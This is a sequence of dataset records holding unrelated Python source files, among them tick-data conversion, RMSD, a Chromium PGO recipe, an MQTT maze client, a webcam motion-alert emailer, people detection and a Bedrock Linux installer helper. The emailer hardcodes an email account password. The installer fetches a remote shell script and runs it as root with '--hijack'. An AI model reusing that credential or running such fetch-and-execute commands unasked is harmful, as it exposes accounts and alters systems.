copy.deepcopy(record)\n try:\n del new_record[\"_id\"]\n except KeyError as e:\n pass\n new_record['snapshot_time'] = snapshot_time\n return new_record\n\ndate_count = 0\nfor trading_d in trading_days:\n print(u\"convert tick in date:%r\" % trading_d)\n #date_count计数\n date_count += 1\n\n #创建当天的三个时间段start_datetime和end_datetime\n start_datetime1 = datetime.datetime(trading_d.year, trading_d.month, trading_d.day, 9, 0, 0)\n end_datetime1 = datetime.datetime(trading_d.year, trading_d.month, trading_d.day, 10, 15, 0)\n start_datetime2 = datetime.datetime(trading_d.year, trading_d.month, trading_d.day, 10, 30, 0)\n end_datetime2 = datetime.datetime(trading_d.year, trading_d.month, trading_d.day, 11, 30, 0)\n start_datetime3 = datetime.datetime(trading_d.year, trading_d.month, trading_d.day, 13, 30, 0)\n end_datetime3 = datetime.datetime(trading_d.year, trading_d.month, trading_d.day, 15, 0, 0)\n #获取时间datetime_list\n time_interval = datetime.timedelta(minutes=1) #时间间隔为1min\n datetime_list1 = map(lambda x: start_datetime1+time_interval*x, range(75))\n datetime_list2 = map(lambda x: start_datetime2+time_interval*x, range(60))\n datetime_list3 = map(lambda x: start_datetime3+time_interval*x, range(90))\n datetime_list = datetime_list1 + datetime_list2 + datetime_list3\n\n #构建查询条件\n time_query = {\n '$or':[{'datetime':{'$gte':start_datetime1, '$lte':end_datetime1}},\n {'datetime':{'$gte':start_datetime2, '$lte':end_datetime2}},\n {'datetime':{'$gte':start_datetime3, '$lte':end_datetime3}}\n ]\n }\n \n for single_symbol in all_symbols:\n #获取数据表\n #给定合约名称,给定时间\n old_collection = tick_db[single_symbol]\n new_collection = new_tick_db[single_symbol]\n\n #获取指定时间段所有的纪录\n record_list = list(old_collection.find(time_query))\n\n #如果在指定表、指定时间内没有查询到数据,跳过\n if not record_list:\n print(u\"%s has no data, skip\" % single_symbol)\n continue\n\n print(u\"begin to convert: %s len: %d in %s\" % (single_symbol, len(record_list), trading_d))\n\n #构建一个空白记录,作为填充使用\n last_record = record_list[0]\n blank_record = record_list[0]\n blank_record = {key: None for key in blank_record.keys() if key != '_id'}\n \n #填充做市商报价\n #存疑,在for中能否修改list?\n for record in record_list:\n if record['volume'] == 0:\n for key in fill_key: record[key]=last_record[key]\n last_record = record\n \n #cache_record作为上一次储存时的记录\n cache_record = record_list.pop(0)\n\n time_point_count = 0\n #恢复时间列表\n datetime_list_symbol = copy.deepcopy(datetime_list)\n while datetime_list_symbol:\n time_point_count += 1\n time_point = datetime_list_symbol.pop(0)\n #如果记录已经遍历完\n if not record_list:\n cache_record = modify_record(cache_record, time_point)\n new_collection.insert_one(cache_record)\n continue\n\n next_record = record_list[0]\n #如果上一条记录的时间没有超过时间点,而下一条记录的时间超过了储存时间点\n #则再次储存上一条记录,其他不变\n if cache_record['datetime'] <= time_point and next_record['datetime'] > time_point:\n cache_record = modify_record(cache_record, time_point)\n new_collection.insert_one(cache_record)\n #---------------------------------------------------------------------------------------\n #如果上一条和下一条记录的时间都超过时间点,该时间点之前还没有数据\n #故插入空白数据,其他不变\n elif cache_record['datetime'] > time_point and next_record['datetime'] > time_point:\n blank_record = modify_record(blank_record, time_point)\n new_collection.insert_one(blank_record)\n #---------------------------------------------------------------------------------------\n #最频繁出现的条件\n #如果上一条记录的时间没有超过时间点,而下一条记录的时间也没有超过时间点\n #则储存下一条数据,并且将下一条数据作为cache_record,并且在records中删除掉这条记录\n elif cache_record['datetime'] <= time_point and next_record['datetime'] <= time_point:\n #next_record值不变,但是删除了下一条记录\n next_record = record_list.pop(0)\n \n #正常情况下while语句应该得到执行\n while record_list and record_list[0]['datetime'] <= time_point:\n next_record = record_list.pop(0)\n\n next_record = modify_record(next_record, time_point)\n new_collection.insert_one(next_record)\n cache_record = next_record\n else:\n raise Exception(u\"wrong condition besides con:1,2,3\")\n","sub_path":"convert_tick_db.py","file_name":"convert_tick_db.py","file_ext":"py","file_size_in_byte":6471,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"137271265","text":"#!/usr/bin/env python\nimport numpy\nimport scipy.spatial.distance\n\ndef distance_squared(p0, p1):\n '''\n Find the square of the distance between ``p0`` and ``p1``.\n\n ---------\n Arguments\n ---------\n p0: (numpy.ndarray) A shape (3,) array representing x,y,z coordinates\n p1: (numpy.ndarray) A shape (3,) array representing x,y,z coordinates\n\n -------\n Returns\n -------\n d2: square of the euclidean distance between ``p0`` and ``p1``.\n '''\n return scipy.spatial.distance.euclidean(p0,p1)**2\n\ndef centroid(coordinates):\n '''\n Find the centroid of ``coordinates``.\n\n ---------\n Arguments\n ---------\n coordinates: (numpy.ndarray) A shape (natoms, 3) array of coordinates\n\n -------\n Returns\n -------\n c: (numpy.ndarray) A shape (1,3) array of coordinates indicating the center\n of geometry of ``coordinates``.\n '''\n return coordinates.mean(axis=0)[numpy.newaxis,:]\n\ndef rmsd(mobile, reference): \n '''\n Calculates the RMS deviation between two structures following least-\n squares alignment. Uses the Kabsh algorithm.\n\n ---------\n Arguments\n ---------\n mobile: (numpy.ndarray) shape (natoms, 3) numpy array, where natoms is the \n number of atoms, representing the coordinates of the protein for which\n to calculate the RMS deviation \n\n reference: (numpy.ndarray) shape (natoms, 3) numpy array representing the \n reference structure.\n\n -------\n Returns\n -------\n mobile: (float) The RMS deviation of ``mobile`` relative to ``reference``,\n calculated via the following equation:\n\n RMS deviation = sqrt( sum( (x_0,i-x_1,i)^2 + (y_0,i - y_1,i)^2 + (z_0,i - z_1,i)^2 ))\n \n where i runs over the atom index (from 0 to natoms-1), and the \n calculation is performed following least-squares alignment.\n '''\n \n # Center both mobile and reference on centroid.\n c = centroid(reference) \n reference -= c\n c = centroid(mobile)\n mobile -= c\n \n # Use Kabsch algorithm to calculate optimal rotation matrix.\n # Calculate covariance matrix.\n covariance_matrix = numpy.dot(numpy.transpose(reference), \n mobile)\n \n # Singular Value Decomposition.\n V, S, Wt = numpy.linalg.svd(covariance_matrix)\n d = numpy.sign(numpy.linalg.det(numpy.dot(numpy.transpose(Wt),\n numpy.transpose(V)\n )\n )\n )\n \n U = numpy.dot(numpy.transpose(Wt), \n numpy.dot(numpy.array(((1,0,0),\n (0,1,0),\n (0,0,d))), \n numpy.transpose(V)\n )\n )\n \n # Multiplying mobile (n*3 matrix) by 3*3 optimal rotation matrix\n # ``U`` gives least_squares alignment.\n l_aligned = mobile.dot(U)\n \n # Sum distances squared over each particle, and take the square root to \n # return RMSD.\n square_sum = 0\n for i in range(len(l_aligned)):\n square_sum += distance_squared(l_aligned[i],reference[i])\n av = square_sum/len(l_aligned)\n rmsd_ = numpy.sqrt(av)\n return rmsd_\n","sub_path":"05_MolecularDynamics/tools/rmsd.py","file_name":"rmsd.py","file_ext":"py","file_size_in_byte":3282,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"163083521","text":"# Copyright 2014 The Chromium Authors. All rights reserved.\n# Use of this source code is governed by a BSD-style license that can be\n# found in the LICENSE file.\n\nfrom recipe_engine import recipe_api\n\n\nclass PGOApi(recipe_api.RecipeApi):\n \"\"\"\n PGOApi encapsulate the various step involved in a PGO build.\n \"\"\"\n\n def __init__(self, **kwargs):\n super(PGOApi, self).__init__(**kwargs)\n\n def _compile_instrumented_image(self, bot_config, mb_config_path=None):\n \"\"\"\n Generates the instrumented version of the binaries.\n \"\"\"\n self.m.chromium.set_config(bot_config['chromium_config_instrument'],\n **bot_config.get('chromium_config_kwargs'))\n self.m.chromium.runhooks(name='Runhooks: Instrumentation phase.')\n self.m.chromium.run_mb(\n self.m.properties['mastername'],\n self.m.properties['buildername'],\n mb_config_path=mb_config_path,\n use_goma=False,\n phase=1)\n # Remove the profile files from the previous builds.\n self.m.file.rmwildcard('*.pg[cd]', str(self.m.chromium.output_dir))\n self.m.chromium.compile(name='Compile: Instrumentation phase.')\n\n def _run_pgo_benchmarks(self):\n \"\"\"\n Run a suite of telemetry benchmarks to generate some profiling data.\n \"\"\"\n target_arch = self.m.chromium.c.gyp_env.GYP_DEFINES['target_arch']\n target_cpu = {'ia32': 'x86'}.get(target_arch) or target_arch\n args = [\n '--browser-type', self.m.chromium.c.build_config_fs.lower(),\n '--target-cpu', target_cpu,\n '--build-dir', self.m.chromium.output_dir,\n ]\n self.m.python(\n 'Profiling benchmarks.',\n self.m.path['checkout'].join('build', 'win',\n 'run_pgo_profiling_benchmarks.py'),\n args)\n\n def _compile_optimized_image(self, bot_config, mb_config_path=None):\n \"\"\"\n Generates the optimized version of the binaries.\n \"\"\"\n self.m.chromium.set_config(bot_config['chromium_config_optimize'],\n **bot_config.get('chromium_config_kwargs'))\n self.m.chromium.runhooks(name='Runhooks: Optimization phase.')\n self.m.chromium.run_mb(\n self.m.properties['mastername'],\n self.m.properties['buildername'],\n mb_config_path=mb_config_path,\n use_goma=False,\n phase=2)\n self.m.chromium.compile(name='Compile: Optimization phase.')\n\n def _merge_pgc_files(self):\n \"\"\"\n Calls the script responsible of merging the PGC files.\n\n If this script is missing then this will be done automatically by the\n compiler during the final compile step.\n \"\"\"\n merge_script = self.m.path['checkout'].join('build', 'win',\n 'merge_pgc_files.py')\n if not self.m.path.exists(merge_script):\n return\n\n target_arch = self.m.chromium.c.gyp_env.GYP_DEFINES['target_arch']\n target_cpu = {'ia32': 'x86'}.get(target_arch) or target_arch\n base_args = [\n '--checkout-dir', self.m.path['checkout'],\n '--target-cpu', target_cpu,\n '--build-dir', self.m.chromium.output_dir,\n ]\n\n for f in self.m.file.glob('list PGD files',\n self.m.chromium.output_dir.join('*.pgd'),\n test_data=[\n self.m.chromium.output_dir.join('test1.pgd'),\n self.m.chromium.output_dir.join('test2.pgd'),\n ]):\n binary_name = self.m.path.splitext(self.m.path.basename(f))[0]\n args = base_args + ['--binary-name', binary_name]\n self.m.python('Merge the pgc files for %s.' % binary_name,\n merge_script, args)\n\n def compile_pgo(self, bot_config):\n \"\"\"\n Do a PGO build. This takes care of building an instrumented image, profiling\n it and then compiling the optimized version of it.\n \"\"\"\n self.m.gclient.set_config(bot_config['gclient_config'])\n\n # Augment the DEPS path if needed.\n if '%s' in self.m.gclient.c.solutions[0].deps_file: # pragma: no cover\n self.m.gclient.c.solutions[0].deps_file = (\n self.m.gclient.c.solutions[0].deps_file % bot_config['bucket'])\n\n if self.m.properties.get('bot_id') != 'fake_slave':\n self.m.chromium.taskkill()\n\n update_step = self.m.bot_update.ensure_checkout()\n if bot_config.get('patch_root'):\n self.m.path['checkout'] = self.m.path['start_dir'].join(\n bot_config.get('patch_root'))\n\n # First step: compilation of the instrumented build.\n self._compile_instrumented_image(bot_config)\n\n # Second step: profiling of the instrumented build.\n self._run_pgo_benchmarks()\n\n # Merge the pgc files.\n self._merge_pgc_files()\n\n if bot_config.get('archive_pgd', False):\n self.archive_profile_database(\n update_step.presentation.properties['got_revision'])\n\n # Third step: Compilation of the optimized build, this will use the\n # profile data files produced by the previous step.\n self._compile_optimized_image(bot_config)\n\n def archive_profile_database(self, revision):\n \"\"\"\n Archive the profile database into a cloud bucket and use 'git notes' to\n annotate the current commit with the URL to this file.\n \"\"\"\n with self.m.step.nest(\"archive profile database\"):\n assert self.m.platform.is_win\n target_arch = {\n 'ia32': '386',\n 'x64': 'amd64',\n }[self.m.chromium.c.gyp_env.GYP_DEFINES['target_arch']]\n package_name = \"chromium/pgo/profiles/profile_database/windows-%s\" % (\n target_arch)\n pkg = self.m.cipd.PackageDefinition(package_name,\n self.m.chromium.output_dir,\n 'copy')\n\n # Copy the pgd files in a temp directory so cipd can pick them up.\n for f in self.m.file.glob('list PGD files',\n self.m.chromium.output_dir.join('*.pgd'),\n test_data=[\n self.m.chromium.output_dir.join('test.pgd')\n ]):\n pkg.add_file(f)\n\n pkg_json = self.m.cipd.create_from_pkg(pkg)\n instance_id = pkg_json['instance_id']\n\n # Add the git notes for this profile database.\n git_notes_ref = 'refs/notes/pgo/profile_database/windows-%s' % target_arch\n git_notes_msg = 'instance-id:%s git-revision:%s' % (instance_id, revision)\n self.m.git('notes', '--ref', git_notes_ref,\n 'add', '-m', git_notes_msg)\n\n self.m.git('push', 'origin', git_notes_ref)\n","sub_path":"scripts/slave/recipe_modules/pgo/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":6573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"347677048","text":"\"\"\"\nThis class is the template class for the MQTT client which receives MQTT messages \nand sends MQTT messages\n\"\"\"\nimport paho.mqtt.client as mqtt\nimport time\nimport array as arr\nimport os\nfrom MazeSolverAlgoBreathFirst import MazeSolverAlgoBreathFirst\nfrom MazeSolverAlgoAStar import MazeSolverAlgoAStar\n\nif \"MQTTSERVER\" in os.environ and os.environ['MQTTSERVER']:\n mqtt_server = os.environ['MQTTSERVER']\nelse:\n mqtt_server = \"127.0.0.1\"\n\nclass MazeSolverClient:\n\n # initialize the MQTT client\n def __init__(self,master,algo=\"BREATHFIRST\"):\n\n print(\"Constructor Sample_MQTT_Publisher\")\n self.master=master\n\n self.master.on_connect=self.onConnect\n self.master.on_message=self.onMessage\n\n self.master.connect(mqtt_server,1883,60)\n \n if algo == \"BREATHFIRST\":\n self.solver = MazeSolverAlgoBreathFirst()\n else:\n self.solver = MazeSolverAlgoAStar()\n\n #self.solver.printMaze()\n\n # Implement MQTT publishing function\n def publish(self, topic, message=None, qos=0, retain=False):\n print(\"XX I WAS IN PUBLISH\")\n print(\"Published message: \" , topic , \" --> \" , message)\n self.master.publish(topic,message,qos,retain)\n\n\n # Implement MQTT receive message function\n def onMessage(self, master, obj, msg):\n topic = str(msg.topic)\n payload = str(msg.payload.decode(\"utf-8\"))\n print(\"TEAM_MeMyselfAndI: Received message:\", topic , \" --> \" , payload)\n if topic == \"/maze\":\n if payload == \"clear\":\n self.solver.clearMaze() \n elif payload == \"start\":\n print(\"XX start XX\")\n self.solver.startMaze(0,0)\n elif payload == \"solve\":\n print(\"XX SOLVED XX\")\n self.solveMaze()\n elif payload == \"end\":\n print(\"XX Payload END XX\")\n self.solver.endMaze()\n self.solver.printMaze()\n else:\n pass\n elif topic == \"/maze/dimRow\":\n self.solver.setDimRows(int(payload))\n self.solver.startMaze(self.solver.dimRows,self.solver.dimCols)\n elif topic == \"/maze/dimCol\":\n self.solver.setDimCols(int(payload))\n self.solver.startMaze(self.solver.dimRows, self.solver.dimCols)\n elif topic == \"/maze/startRow\":\n self.solver.setStartRow(int(payload))\n elif topic == \"/maze/startCol\":\n self.solver.setStartCol(int(payload))\n elif topic == \"/maze/endRow\":\n self.solver.setEndRow(int(payload))\n elif topic == \"/maze/endCol\":\n self.solver.setEndCol(int(payload))\n elif topic == \"/maze/blocked\":\n cell = payload.split(\",\")\n self.solver.setBlocked(int(cell[0]),int(cell[1]))\n else:\n pass\n\n\n\n # Implement MQTT onConnecr function\n def onConnect(self, master, obj, flags, rc):\n self.master.subscribe(\"/maze\" )\n self.master.subscribe(\"/maze/dimRow\" )\n self.master.subscribe(\"/maze/dimCol\" )\n self.master.subscribe(\"/maze/startCol\" )\n self.master.subscribe(\"/maze/startRow\" )\n self.master.subscribe(\"/maze/endCol\" )\n self.master.subscribe(\"/maze/endRow\" )\n self.master.subscribe(\"/maze/blocked\" ) \n \n\n # Initiate the solving process of the maze solver\n def solveMaze(self):\n path=self.solver.solveMaze()\n\n print(path)\n\n for step in path:\n step_str = '{},{}'.format(step[0],step[1])\n self.publish(\"/maze/go\" , step_str)\n\n \nif __name__ == '__main__':\n mqttclient=mqtt.Client()\n\n solverClient = MazeSolverClient(mqttclient,\"ASTAR\")\n solverClient.master.loop_forever()\n","sub_path":"Teams/TeamMeMyselfAndI/MazeSolverClient.py","file_name":"MazeSolverClient.py","file_ext":"py","file_size_in_byte":3757,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"492967795","text":"from email.encoders import encode_base64\nfrom email.mime.image import MIMEImage\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\nimport mimetypes\nimport smtplib\nimport sys\n\n# LIBRERIAS CAMARA \nimport time\nimport imutils\nimport cv2\nimport tkinter\nimport numpy as np\nfrom threading import Thread\n\n# LIBRERIAS CORREO ALERTA \n\ncap = cv2.VideoCapture(0)\ncap.set(3,640) # set Width\ncap.set(4,480) # set Height\n\n\ndef mt():\n con = 0\n global mode\n \n f_start = cap.read()\n f_start = imutils.resize(f_start, width=500)\n gray = cv2.cvtColor(f_start, cv2.COLOR_BGR2GRAY)\n f_start = cv2.GaussianBlur(gray, (21, 21), 0)\n\n while True:\n frame = cap.read()\n frame = imutils.resize(frame, width=500)\n \n if(mode==1):\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n gray = cv2.GaussianBlur(gray, (5, 5), 0)\n frameDelta = cv2.absdiff(gray, f_start)\n thresh = cv2.threshold(frameDelta, 25, 255, cv2.THRESH_BINARY)[1]\n f_start = gray\n\n if(thresh.sum()>100):\n con+=1\n else:\n if(con>0):\n con-=1\n \n cv2.imshow('vi',thresh)\n \n if(con>20):\n print(\"calling\")\n mode =0\n con = 0\n AlertaEmail()\n cv2.destroyWindow('vi')\n \n \n else:\n pass\n\n \n if(mode==0):\n #print(\"showing\")\n cv2.imshow('video',frame)\n \n #print(mode)\n # cv2.imwrite('hello.jpg',img)\n k = cv2.waitKey(30) & 0xff\n if k == 27: # press 'ESC' to quit\n break\n\n cap.release()\n cv2.destroyAllWindows()\n\n\n#######################################################################\n# ENVIAR UN EMAIL AL DETECTAR UN MOVIMIENTO\n#######################################################################\ndef AlertaEmail():\n msg = MIMEMultipart()\n message = \"ESTAN MATANDO UN HUEON!!! \" + time.strftime(\"%c\")\n password = \"Dp505sns$\"\n msg['From'] = \"cat.rguzmanr@gmail.com\"\n msg['To'] = \"rguzman@outlook.com\"\n msg['Subject'] = \"Alarma Alarma\"\n msg.attach(MIMEText(message, 'plain'))\n\n # Adjuntamos la imagen\n file = open(\"alerta.jpg\", \"rb\")\n foto = MIMEImage(file.read())\n foto.add_header('Content-Disposition',\n 'attachment; filename = \"alerta.jpg\"')\n msg.attach(foto)\n\n server = smtplib.SMTP('smtp.gmail.com: 587')\n server.starttls()\n server.login(msg['From'], password)\n server.sendmail(msg['From'], msg['To'], msg.as_string())\n server.quit()\n print(\"Mensaje enviado correctamente %s:\" % (msg['To']))\n\n\nmt()","sub_path":"FuncionalEmail_v3.py","file_name":"FuncionalEmail_v3.py","file_ext":"py","file_size_in_byte":2771,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"577555989","text":"import time\nimport PureCloudPlatformClientV2\nfrom PureCloudPlatformClientV2.rest import ApiException\nfrom pprint import pprint\n\n# Configure OAuth2 access token for authorization: PureCloud Auth\nPureCloudPlatformClientV2.configuration.access_token = ''\n\napi_instance = PureCloudPlatformClientV2.UsersApi()\nnewuser = PureCloudPlatformClientV2.CreateUser() \nnewuser.name = \"Tutorial User\"\nnewuser.email = \"tutorial35@example.com\"\nnewuser.password = \"230498wkjdf8asdfoiasdf\"\n\ncurrentuser = api_instance.post_users(newuser)\n\nprint(currentuser.id)\n\nupdateuser = PureCloudPlatformClientV2.UpdateUser() \nupdateuser.name = \"Tutorial User New Name\"\nupdateuser.version = currentuser.version\n\nnewaddress = PureCloudPlatformClientV2.Contact()\nnewaddress.address = \"3172222222\"\nnewaddress.media_type = \"PHONE\"\nnewaddress.type = \"WORK\"\n\nupdateuser.addresses = [newaddress]\n\napi_response = api_instance.patch_user(currentuser.id, updateuser)","sub_path":"user-management/python/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":925,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"317698212","text":"import sys\nimport numpy as np\nimport cv2\n\n# 맥에서 영상이 왜 안열리지...\ncap = cv2.VideoCapture(\"image/vtest.avi\")\n\nif not cap.isOpened() :\n print(\"Video open failed\")\n sys.exit()\n\n\nhog = cv2.HOGDescriptor()\nhog.setSVMDetector(cv2.HOGDescriptor_getDefaultPeopleDetector())\ndelay = int(cap.get(cv2.CAP_PROP_FPS) / 1000)\nwhile True :\n ret, frame = cap.read() \n\n if not ret :\n break\n\n people,_ = hog.detectMultiScale(frame)\n\n for rc in people :\n cv2.rectangle(frame,rc,(0,0,255),2)\n\n cv2.imshow('frame', frame)\n\n if cv2.waitKey(delay) == 27 :\n break\n\ncap.release()\ncv2.destroyAllWindows()","sub_path":"07.영상분할과객체검출/5.peopledetect.py","file_name":"5.peopledetect.py","file_ext":"py","file_size_in_byte":641,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"241078263","text":"from subprocess import call\nfrom termcolor import cprint\nimport time\nimport platform\nimport sys\nfrom sys import platform as _platform\nfrom colorama import init\n\ninit(strip=not sys.stdout.isatty())\nfrom pyfiglet import figlet_format\n\n# For Aesthetics\nif _platform == \"linux\" or _platform == \"linux2\":\n call('cls', shell=True)\n\nelif _platform == \"win32\" or _platform == \"win64\":\n call('clear', shell=True)\n\n\ndef info():\n print(\"\")\n cprint(figlet_format('BEDROCK LINUX', font='starwars'),\n 'yellow', 'on_red', attrs=['bold'])\n # just script version (python)\n version = (\"1.0.1\")\n print(\"\")\n\ninfo()\n\nclass bedrock_current_releases:\n x86_64 = (\n \"https://github.com/bedrocklinux/bedrocklinux-userland/releases/download/0.7.15/bedrock-linux-0.7.15-x86_64.sh\")\n\ndef supported_platform():\n while True:\n Terminal = input(\"Bedrock >> \")\n user_input = Terminal\n\n if user_input.lower() == \"help\":\n def help():\n print(\"\")\n cprint(\"'help' : Display options and usage.\", \"green\")\n cprint(\"'install bedrock!' : Installs bedrock linux.\", \"green\")\n cprint(\"'exit' : Exits the script.\", \"green\")\n cprint(\"'system info' : Displays the system information.\", \"green\")\n cprint(\"'website' : Displays the link of official bedrock linux website.\", \"green\")\n print(\"\")\n\n help()\n\n elif user_input.lower() == \"website\":\n def website():\n call('clear', shell=True)\n cprint(\"https://bedrocklinux.org\", \"yellow\")\n\n website()\n\n elif user_input.lower() == \"system info\":\n def systeminfo():\n call('clear', shell=True)\n cprint(\"DETECTED SYSTEM INFO:\", 'yellow')\n time.sleep(1)\n print(\"Operating System:\", platform.system(), platform.release())\n print(\"BIT:\", sys.platform)\n cprint(\"Is compatible?: YES\", \"yellow\")\n print(\"\")\n\n systeminfo()\n\n elif user_input == \"install bedrock!\":\n def master_bedrock():\n call('clear', shell=True)\n cprint(\"Preparing To Install Bedrock...\", \"magenta\")\n time.sleep(3)\n call('clear', shell=True)\n cprint(\"DETECTED SYSTEM INFO:\", 'yellow')\n print(\"Operating System:\", platform.system(), platform.release())\n print(\"BIT:\", sys.platform)\n print(\"\")\n time.sleep(1.3)\n x86_64_script = (\"bedrock-linux-0.7.14-x86_64.sh\")\n amd64 = bedrock_current_releases()\n call('cd ~', shell=True)\n cprint(\"Creating Folder to Download and execute script at ~/bedrocklinux\", \"green\")\n call('sudo mkdir bedrocklinux && cd bedrocklinux', shell=True)\n cprint(\"Downloading Latest Script\", \"green\")\n call(f'wget {amd64.x86_64}', shell=True)\n call(f'sudo sh ./{x86_64_script} --hijack', shell=True)\n cprint(\"Exiting Python script...\", \"red\")\n sys.exit()\n\n master_bedrock()\n\n elif user_input.lower() == \"exit\":\n sys.exit()\n\n else:\n print(\"\")\n cprint(\"Incorrect User Input! Type 'help' to view options and usage.\", \"red\")\n print(\"\")\n\n\ndef startup():\n def platformerrors():\n cprint(\"DETECTED SYSTEM INFO:\", 'yellow')\n print(\"Operating System:\", platform.system(), platform.release())\n print(\"BIT:\", sys.platform)\n cprint(\"Is compatible?: NO\", \"yellow\")\n\n while True:\n # Help menu\n unsupported_message = (\"This script is not supported on this platform\")\n if _platform == \"linux\" or _platform == \"linux2\":\n supported_platform()\n\n elif _platform == \"win32\" or _platform == \"win64\":\n platformerrors()\n cprint(unsupported_message, \"red\")\n break\n\n elif _platform == \"darwin\":\n platformerrors()\n cprint(unsupported_message, \"red\")\n break\n\n else:\n cprint(\"Unknown Error!\")\n break\n\n\nstartup()\n","sub_path":"MONTH 4/bedrock-linux.py","file_name":"bedrock-linux.py","file_ext":"py","file_size_in_byte":4280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"433577862","text":"\"\"\"\nAuthor: Jing (https://github.com/gnijuohz)\n\nRotate List: https://oj.leetcode.com/problems/rotate-list \n\nGiven a list, rotate the list to the right by k places, where k is non-negative.\n\nFor example:\nGiven 1->2->3->4->5->NULL and k = 2,\nreturn 4->5->1->2->3->NULL. \nTags\nLinked List, Two Pointers \n\"\"\"\n\n# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution:\n # @param head, a ListNode\n # @param k, an integer\n # @return a ListNode\n def rotateRight(self, head, k):\n if not head or k==0:\n return head\n fast = slow = head\n while k > 0:\n if not fast.next:\n fast.next = head\n fast = fast.next\n k -= 1\n while fast.next and fast.next != head:\n fast = fast.next\n slow = slow.next\n if not fast.next:\n fast.next = head\n newHead = slow.next\n slow.next = None\n return newHead\n \n ","sub_path":"solutions/Rotate-List.py","file_name":"Rotate-List.py","file_ext":"py","file_size_in_byte":1043,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"351270603","text":"from sklearn.cluster import AffinityPropagation\r\nfrom cluster import build_history, find_dist\r\n\r\n\r\ndef build_dists(history):\r\n cmd_table = build_cmds(history)\r\n reverse = [''] * len(cmd_table)\r\n for cmd in cmd_table:\r\n reverse[cmd_table[cmd]] = cmd\r\n\r\n graph = []\r\n count = len(cmd_table)\r\n for i in range(0, count):\r\n graph.append([0] * count)\r\n\r\n for index in range(0, len(history)):\r\n event = history[index]\r\n src = cmd_table[event]\r\n for sube in cmd_table:\r\n if sube == event:\r\n continue\r\n dest = cmd_table[sube]\r\n curr = graph[src][dest]\r\n graph[src][dest] = find_dist(history, index, sube, curr)\r\n #print(src, \"=>\", dest, \"=>\", graph[src][dest])\r\n return (graph, reverse)\r\n\r\n\r\ndef build_cmds(history):\r\n cmd_table = {}\r\n curr = 0\r\n for event in history:\r\n if event not in cmd_table:\r\n cmd_table[event] = curr\r\n curr += 1\r\n return cmd_table\r\n\r\n\r\nif __name__ == '__main__':\r\n import sys\r\n import json\r\n import numpy\r\n path = sys.argv[1]\r\n\r\n fp = open(path, 'r')\r\n history = build_history(fp)\r\n (graph, table) = build_dists(history)\r\n\r\n graph = numpy.array(graph)\r\n af = AffinityPropagation(affinity='precomputed').fit(graph)\r\n cluster_centers_indices = af.cluster_centers_indices_\r\n n_clusters = len(cluster_centers_indices)\r\n\r\n\r\n import pylab as pl\r\n from itertools import cycle\r\n\r\n pl.close('all')\r\n pl.figure(1)\r\n pl.clf()\r\n\r\n labels = af.labels_\r\n\r\n colors = cycle('bgrcmykbgrcmykbgrcmykbgrcmyk')\r\n for k, col in zip(range(n_clusters), colors):\r\n class_members = labels == k\r\n cluster_center = graph[cluster_centers_indices[k]]\r\n print(\"center:\", cluster_centers_indices[k], table[cluster_centers_indices[k]])\r\n print(\" dot:\", (cluster_center[0], cluster_center[1]))\r\n print(\" members:\", class_members)\r\n for (x,y) in zip(graph[class_members, 0], graph[class_members, 1]):\r\n print(\" \", table[x], \"->\", table[y])\r\n\r\n pl.plot(graph[class_members, 0], graph[class_members, 1], col + '.')\r\n pl.plot(cluster_center[0], cluster_center[1], 'o', markerfacecolor=col,\r\n markeredgecolor='k', markersize=14)\r\n for x in graph[class_members]:\r\n pl.plot([cluster_center[0], x[0]], [cluster_center[1], x[1]], col)\r\n\r\n pl.title('Estimated number of clusters: %d' % n_clusters)\r\n pl.show()\r\n\r\n #print(json.dumps(graph, indent=4, separators=(',', ': ')))\r\n\r\n\r\n\r\n","sub_path":"afp.py","file_name":"afp.py","file_ext":"py","file_size_in_byte":2590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"486031439","text":"from __future__ import with_statement\n\nimport io\nimport os\nfrom optparse import make_option\n\nfrom django.core.management.base import NoArgsCommand\nfrom django.utils.translation import to_locale, activate\nfrom django.utils.encoding import force_text\n\nfrom statici18n.conf import settings\nfrom statici18n.utils import get_filename\n\nimport django\nif django.VERSION >= (1, 6):\n # Django >= 1.6\n from django.views.i18n import (get_javascript_catalog,\n render_javascript_catalog)\nelse:\n # Django <= 1.5\n from statici18n.compat import (get_javascript_catalog,\n render_javascript_catalog)\n\n\nclass Command(NoArgsCommand):\n option_list = NoArgsCommand.option_list + (\n make_option('--locale', '-l', dest='locale',\n help=\"The locale to process. Default is to process all.\"),\n make_option('-d', '--domain',\n dest='domain', default=settings.STATICI18N_DOMAIN,\n help=\"Override the gettext domain. By default, \"\n \" the command uses the djangojs gettext domain.\"),\n make_option('-p', '--packages', action='append', default=[],\n dest='packages',\n help=\"A list of packages to check for translations. \"\n \"Default is 'django.conf'. Use multiple times to \"\n \"add more.\"),\n make_option('-o', '--output', dest='outputdir', metavar='OUTPUT_DIR',\n help=\"Output directory to store generated catalogs. \"\n \"Defaults to static/jsi18n.\")\n )\n help = \"Collect Javascript catalog files in a single location.\"\n\n def handle_noargs(self, **options):\n locale = options.get('locale')\n domain = options['domain']\n packages = options['packages'] or settings.STATICI18N_PACKAGES\n outputdir = options['outputdir']\n verbosity = int(options.get('verbosity'))\n\n if locale is not None:\n languages = [locale]\n else:\n languages = [to_locale(lang_code)\n for (lang_code, lang_name) in settings.LANGUAGES]\n\n if outputdir is None:\n outputdir = 